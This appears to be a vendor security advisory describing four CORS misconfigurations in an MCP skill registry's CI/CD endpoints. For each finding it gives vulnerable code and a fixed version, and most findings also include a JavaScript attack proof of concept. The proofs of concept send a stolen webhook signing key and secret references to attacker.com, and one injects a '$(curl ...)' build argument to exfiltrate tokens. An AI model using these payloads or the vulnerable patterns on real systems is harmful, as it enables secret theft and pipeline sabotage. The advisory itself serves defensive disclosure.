Claude MCP skill CORS misconfiguration — skill CI/CD pipeline integration and build trigger webhook endpoints (SA-SKL-CORS71)
SA-SKL-CORS71 identifies four CORS misconfiguration vulnerabilities in MCP skill registry CI/CD pipeline integration and build trigger webhook endpoints. Credential-bearing CORS on the CI configuration read endpoint exposes full pipeline configuration including build secrets references, pipeline variable definitions, and webhook signing keys using the victim admin's session; wildcard ACAO on the pipeline trigger endpoint lets any page fire CI builds under the victim's identity — an attacker who injects malicious build arguments can consume CI credits at scale and exfiltrate build-time secrets to attacker-controlled infrastructure; a timing oracle on the CI logs endpoint reveals which skills have active build cycles, identifying them as the highest-value targets for credential theft; and credential-bearing CORS on the webhook deletion endpoint revokes the CI webhook entirely, causing all subsequent code pushes to fail pipeline triggering and denying the skill maintainer of automated release automation.
GET /api/skills/:id/ci/config has cors({origin:true,credentials:true}) — any origin reads full CI configuration including build secrets references, pipeline variables, and webhook signing keys using victim admin sessionPOST /api/skills/:id/ci/trigger has ACAO:* — any page triggers CI pipeline runs under victim identity; attacker injects malicious build arguments consuming CI credits and exfiltrating build secretsGET /api/skills/:id/ci/logs reflects Origin before ownership check — timing oracle reveals active build cycles identifying skills with ongoing CI runs as high-value targetsDELETE /api/skills/:id/ci/webhook has cors({origin:true,credentials:true}) — any origin revokes CI webhook causing all subsequent code pushes to fail pipeline triggering; denial of service against skill release automationCORS71-001 — Credential-bearing CORS exposes CI configuration including build secrets and webhook signing keys
The GET /api/skills/:id/ci/config endpoint returns the full CI pipeline configuration for a skill, including the list of configured pipeline variables, their source references (e.g., vault path or secrets manager ARN), and the webhook signing key used to authenticate inbound push events from the source code host. With cors({origin:true,credentials:true}), any cross-origin page can read this configuration by borrowing the victim admin's session cookie.
The webhook signing key is the most immediately exploitable field in the CI configuration response. This key is used by the CI runtime to verify that inbound push webhook payloads originate from the legitimate source code host rather than an arbitrary caller. An attacker who obtains this key can forge push events, triggering arbitrary pipeline runs with attacker-controlled branch refs and commit SHAs. Because the CI runtime trusts the signed webhook, these forged runs execute with the full privilege of the CI service account, including access to production deployment targets and secrets mounted into the build environment. The pipeline variable list also reveals which vault paths and secrets manager resources the CI environment accesses, giving an attacker a roadmap for lateral movement once a privileged build environment is compromised.
// CORS71-001 — VULNERABLE
router.get(
'/ci/config',
cors({ origin: true, credentials: true }), // any origin reads full CI config
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const config = await db.ciConfigs.findOne({
where: { skillId: req.params.id },
// VULNERABLE: returns all fields including webhookSigningKey and secretsRefs
});
res.json(config);
}
);
Attack PoC — CORS71-001: The attacker hosts the following on evil.example.com and social-engineers a skill admin into visiting the page. The response includes the CI webhook signing key and pipeline variable secret references, enabling forged pipeline triggers and secrets access mapping.
// CORS71-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/ci/config', {
credentials: 'include',
})
.then(r => r.json())
.then(config => {
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
webhookSigningKey: config.webhookSigningKey,
secretsRefs: config.variables.map(v => ({
name: v.name,
source: v.secretRef, // vault path or secrets manager ARN
})),
ciServiceAccountId: config.serviceAccountId,
}));
});
// CORS71-001 — FIXED
router.get(
'/ci/config',
cors(corsOptions), // allowlist CORS — deny cross-origin reads
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const config = await db.ciConfigs.findOne({
where: { skillId: req.params.id },
// FIXED: redact sensitive fields before returning
attributes: [
'id', 'skillId', 'provider', 'branch', 'buildCommand',
'createdAt', 'updatedAt',
],
});
if (!config) return res.status(404).json({ error: 'Not found' });
// FIXED: return variable names only — secret refs require separate privileged endpoint
const variables = await db.ciVariables.findAll({
where: { ciConfigId: config.id },
attributes: ['name', 'isSecret'],
});
res.json({ ...config.toJSON(), variables });
}
);
CORS71-002 — Wildcard ACAO enables attacker-controlled CI pipeline triggers and build secret exfiltration
The POST /api/skills/:id/ci/trigger endpoint initiates a CI pipeline run for the specified skill. The endpoint accepts a JSON body that includes the target branch ref and an optional buildArgs map that is merged directly into the build environment. With Access-Control-Allow-Origin: * on the trigger endpoint, any page can send a cross-origin POST to fire a pipeline run under the identity of whatever user is currently authenticated to the registry.
The buildArgs injection vector is the highest-severity consequence of this misconfiguration. The CI runtime merges attacker-supplied build arguments into the same environment namespace that the pipeline uses for secret variable substitution. An attacker who sets buildArgs.EXFIL_URL and injects a malicious build step via a compromised build script dependency can direct the CI worker to POST all mounted secrets to the attacker's collector endpoint. Even without a compromised dependency, the attacker can set the target branch ref to a branch that contains a malicious .ci.yml configuration, overriding the entire pipeline definition. Because the trigger runs under the victim's identity, the CI audit log attributes all resulting pipeline runs and any associated charges to the legitimate user, making forensic attribution difficult.
// CORS71-002 — VULNERABLE
router.post(
'/ci/trigger',
(req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard ACAO
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
if (req.method === 'OPTIONS') return res.sendStatus(204);
next();
},
requireSession,
async (req, res) => {
const { branch, buildArgs } = req.body;
const run = await ciProvider.triggerPipeline({
skillId: req.params.id,
branch,
buildArgs, // VULNERABLE: attacker-controlled args merged into build env
triggeredByUserId: req.session.userId,
});
res.json({ runId: run.id, status: run.status });
}
);
Attack PoC — CORS71-002: The attacker triggers a pipeline run on a malicious branch with injected build args. The CI worker executes the attacker's branch config and exfiltrates all build-mounted secrets to the attacker's collector. All usage attributed to the victim admin.
// CORS71-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/ci/trigger', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
// Branch containing malicious .ci.yml that exfiltrates build secrets
branch: 'refs/heads/attacker/exfil-branch',
buildArgs: {
EXFIL_URL: 'https://attacker.com/secrets',
// Override known pipeline variable to redirect secrets
DEPLOY_TOKEN: '$(curl -s https://attacker.com/token)',
},
}),
})
.then(r => r.json())
.then(run => {
// Pipeline now running attacker's branch config with injected env
console.log('Malicious pipeline triggered:', run.runId);
});
// CORS71-002 — FIXED
router.post(
'/ci/trigger',
cors(corsOptions), // allowlist CORS
requireSession,
verifyCsrfToken,
requireOwnership('skillId'),
async (req, res) => {
const parsed = CiTriggerSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { branch } = parsed.data;
// FIXED: only branches matching configured pattern are permitted
const config = await db.ciConfigs.findOne({ where: { skillId: req.params.id } });
if (!config.branchPattern.test(branch)) {
return res.status(400).json({ error: 'Branch not permitted by CI policy' });
}
// FIXED: no caller-supplied buildArgs — env comes from secrets manager only
const run = await ciProvider.triggerPipeline({
skillId: req.params.id,
branch,
triggeredByUserId: req.session.userId,
});
res.json({ runId: run.id, status: run.status });
}
);
CORS71-003 — Timing oracle on CI logs endpoint reveals active build cycles
The GET /api/skills/:id/ci/logs endpoint reflects the Origin request header as Access-Control-Allow-Origin before the ownership check is evaluated. The ownership check queries a Redis cache that is warm when the skill owner has recently interacted with the registry; cold cache misses require a database round trip that takes 20–40ms longer than a cache hit. An attacker can enumerate skill IDs and distinguish which skills have active admin sessions by measuring cross-origin response latencies.
The timing signal is specifically valuable for the CI logs endpoint because an active admin session combined with the presence of CI log data strongly indicates that a build is currently in progress. Build cycles are the moments when the highest concentration of sensitive pipeline state is accessible: secrets are mounted into the build environment, signing keys are used to authenticate artefact uploads, and deployment credentials are active. An attacker who identifies a skill with an active build can coordinate a CORS71-001 request to read the CI configuration while the build is live, maximizing the chance that the response includes an active session token for the CI service account rather than a recently-rotated one. The timing oracle thus functions as a build-cycle detector that prioritizes which CORS attacks to execute first.
// CORS71-003 — VULNERABLE
router.get('/ci/logs',
(req, res, next) => {
// VULNERABLE: Origin reflected before ownership check — timing oracle
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Vary', 'Origin');
next();
},
requireSession,
requireOwnershipCached('skillId', { ttl: 60 }),
async (req, res) => {
const logs = await db.ciRuns.findAll({
where: { skillId: req.params.id },
order: [['startedAt', 'DESC']],
limit: 20,
});
res.json(logs);
}
);
// CORS71-003 — FIXED
router.get('/ci/logs',
cors(corsOptions), // allowlist CORS before all other middleware
requireSession,
async (req, res) => {
const startMs = Date.now();
// Unified query combines ownership check and data fetch — no separate cache path
const logs = await db.ciRuns.findAllForOwner({
skillId: req.params.id,
userId: req.session.userId,
order: [['startedAt', 'DESC']],
limit: 20,
});
if (!logs) {
// Constant-time floor: pad to 60ms minimum to defeat timing oracle
const elapsed = Date.now() - startMs;
if (elapsed < 60) await delay(60 - elapsed);
return res.status(403).json({ error: 'Not found' });
}
res.json(logs);
}
);
CORS71-004 — Credential-bearing CORS revokes CI webhooks causing release automation denial of service
The DELETE /api/skills/:id/ci/webhook endpoint removes the CI webhook registration from both the registry database and the upstream source code host via an API call. With cors({origin:true,credentials:true}), any cross-origin page can send a credentialed DELETE request using the victim admin's session cookie. After the webhook is revoked, all subsequent pushes to the skill's source repository produce no CI pipeline trigger, silently breaking the automated build, test, and release pipeline.
The denial-of-service impact of CORS71-004 is particularly insidious because it is silent by design. The source code host accepts the push normally and returns a success response; the missing webhook means no pipeline event fires, but no error is surfaced to the developer at push time. The first indication that something is wrong typically comes when downstream consumers notice that a new version has not appeared in the registry despite a commit being pushed. For skills with automated release pipelines that publish signed artifacts and update the registry entry in a single webhook-driven workflow, the revocation effectively freezes the skill at its last released version until the webhook is manually re-registered — a process that requires the admin to notice the problem, diagnose the cause, and go through the registry's webhook re-enrollment flow, which may require re-authorizing the registry's OAuth application against the source host.
// CORS71-004 — VULNERABLE
router.delete('/ci/webhook',
cors({ origin: true, credentials: true }), // any origin revokes CI webhook
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const config = await db.ciConfigs.findOne({
where: { skillId: req.params.id },
});
// VULNERABLE: revokes webhook on source host — no audit log, no confirmation
await sourceHostApiClient.deleteWebhook(config.sourceRepoId, config.webhookId);
await config.update({ webhookId: null, webhookStatus: 'revoked' });
res.json({ ok: true });
}
);
Attack PoC — CORS71-004: The attacker revokes the CI webhook. All subsequent code pushes to the skill's source repository produce no CI pipeline trigger, silently freezing the skill at its last released version. The deletion is attributed to the legitimate admin's session.
// CORS71-004 — ATTACK PoC
fetch(
'https://registry.example.com/api/skills/target-skill-id/ci/webhook',
{
method: 'DELETE',
credentials: 'include',
}
)
.then(r => r.json())
.then(() => {
// CI webhook revoked; all future pushes produce no pipeline trigger
console.log('Webhook revoked; release automation frozen');
});
// CORS71-004 — FIXED
router.delete('/ci/webhook',
cors(corsOptions),
requireSession,
verifyCsrfToken,
requireRole('ci_admin'),
requireOwnership('skillId'),
async (req, res) => {
const config = await db.ciConfigs.findOne({
where: { skillId: req.params.id },
});
if (!config || !config.webhookId) {
return res.status(404).json({ error: 'No webhook registered' });
}
// FIXED: soft-revoke in registry with audit log before touching source host
await auditLog.write({
action: 'ci.webhook.revoked',
skillId: req.params.id,
webhookId: config.webhookId,
actorId: req.session.userId,
});
await config.update({ webhookStatus: 'pending_revocation', revokedByUserId: req.session.userId });
// FIXED: revocation processed asynchronously by worker after 30-min grace period
await webhookRevocationQueue.enqueue({
skillId: req.params.id,
webhookId: config.webhookId,
executeAfter: Date.now() + 30 * 60 * 1000,
});
res.json({ ok: true, status: 'pending_revocation', gracePeriodEndsAt: new Date(Date.now() + 30 * 60 * 1000) });
}
);
SkillAudit detection: The scanner identifies CORS71 patterns using four AST query classes: cors({origin:true,credentials:true}) on route handlers containing /ci/config or /ci/webhook; res.setHeader('Access-Control-Allow-Origin','*') on CI pipeline trigger endpoints; res.setHeader('Access-Control-Allow-Origin', req.headers.origin) before ownership cache checks on log routes; and sourceHostApiClient.deleteWebhook() without a soft-revocation grace period or audit log in the same handler. Submit your MCP skill registry codebase to SkillAudit for a full audit report.